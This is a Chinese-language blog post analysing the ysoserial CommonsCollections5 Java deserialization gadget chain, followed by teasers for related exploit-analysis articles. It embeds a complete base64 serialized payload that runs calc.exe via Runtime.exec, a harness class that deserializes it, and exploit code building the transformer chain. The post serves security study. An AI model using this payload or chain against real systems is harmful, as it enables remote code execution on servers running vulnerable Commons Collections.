ysoserial CC5利用链分析

前两天东华杯没打，看里面签到题用到了 BadAttributeValueExpException.做入口类似的链子，就来学习下同样用了这个类的CC5
Gadget

Gadget chain:ObjectInputStream.readObject()BadAttributeValueExpException.readObject()TiedMapEntry.toString()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

Requires:
commons-collections3.1
only works in JDK 8u76 and WITHOUT a security manager

随便起一个反序列化的环境，payload直接写死进去方便调试

import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;public class BackDoor {public static void main(String[] args) throws IOException, Base64DecodingException {String data = "rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQACGNhbGMuZXhldAAEZXhlY3VxAH4AMgAAAAFxAH4AN3NxAH4AJ3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eA==";Object object = null;byte[] b = Base64.decode(data);InputStream inputStream = new ByteArrayInputStream(b);ObjectInputStream ois = new ObjectInputStream(inputStream);try {object = ois.readObject();} catch (IOException | ClassNotFoundException var12) {var12.printStackTrace();}}
}

readFields方法表示从输入流中读取字段，然后调用了gf.get方法读取val属性，然后执行toString方法
我们在exp里可以通过将new TiedMapEntry(lazyMap, "foo");设置给val，让代码执行时调用TiedMapEntry中的toString方法
部分exp如下

     TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");BadAttributeValueExpException val = new BadAttributeValueExpException(null);Field valfield = val.getClass().getDeclaredField("val");Reflections.setAccessible(valfield);valfield.set(val, entry);

继续跟进

toString方法会调用getKey和getValue，getValue会调用this.map.get，map就是我们刚才传入的lazyMap
所以下一步会执行lazyMap的get方法

关键方法是transform，get方法内部在调用transform方法之前会先判断一下key，如果当前map中不存在key的话，则通过factory来创建一个value，factory已经在exp构建时通过decorate传入了ChainedTransforme对象

部分exp如下

     final Transformer transformerChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });// real chain for after setupfinal Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, execArgs),new ConstantTransformer(1) };final Map innerMap = new HashMap();final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

执行ChainedTransformer的transform方法

ITransformers在exp中已经传入
会依次执行传入的transformer的transform方法
transform源码，这里进行三次transform，object对象的内容会一次次更新，相当于执行了getRuntime().exec()
其他关于invoke和method方法的内容还要看r2师傅的视频学习一下

ysoserial CC5利用链分析相关推荐

浅谈ThinkPH5.0和5.1的反序列化利用链分析
前言本文将总结分析ThinkPHP5.0和5.1中的反序列化利用链,一方面以备不时之需,另一方面算是对php反序列化的深入学习. 其中TP5.0的利用链会复杂很多,所以本文会先介绍TP5.1的利用链 ...
Javaweb安全——Fastjson反序列化利用
Fastjson前置知识反序列化函数 Object obj = JSON.parse(); //解析为JSONObject类型或者JSONArray类型 Object obj = JSON.pars ...
[CVE-2020-9496]Apache Ofbiz RCE
参考: Apache Ofbiz RCE (CVE-2020-9496) 漏洞分析 CVE-2020-9496 apache ofbiz xml-rpc反序列化漏洞分析 https://www.zer ...
一步一步回顾分析攻防演习中的 WebLogic T3 反序列化 0day 漏洞
聚焦源代码安全,网罗国内外最新资讯! 本文内容共分六部分: 一.前言二.Jdk7u21 的 PoC 分析 1.第一部分利用链分析 2.第二部分利用链分析三.MarshalledObject分析 ...
java反序列化 exp_java反序列化-ysoserial-调试分析总结篇(4)
1.前言这篇文章继续分析commoncollections4利用链,这篇文章是对cc2的改造,和cc3一样,cc3是对cc1的改造,cc4则是对cc2的改造,里面chained的invoke变成了i ...
thinkphp漏洞_漏洞分析之thinkPHP反序列化：这就是黑客的世界吗
前言作为一个Web菜鸡,我之前和师傅们参加了红帽杯,奈何只有0输出,当时只知道是thinkphp5.2的反序列化漏洞,但是感觉时间不够了,也就没有继续做下去.只有赛后来查漏补缺了,也借着tp5.2这 ...
ret2csu ROP Emporium
14 ret2csu 参考网址 [原创]ret2csu学习-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com ROP Emporium - Ret2csu (x64) - blog.r ...
Apache Shiro Java 反序列化漏洞分析
Shiro概述 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.目前在Java web应用安全框架中,最热门的产品有Spring Security和Sh ...
thinkphp5.0.24反序列化漏洞分析
thinkphp5.0.24反序列化漏洞分析文章目录 thinkphp5.0.24反序列化漏洞分析具体分析反序列化起点 toArray getRelationData分析 $modelRelat ...

ysoserial CC5利用链分析

ysoserial CC5利用链分析相关推荐

最新文章

热门文章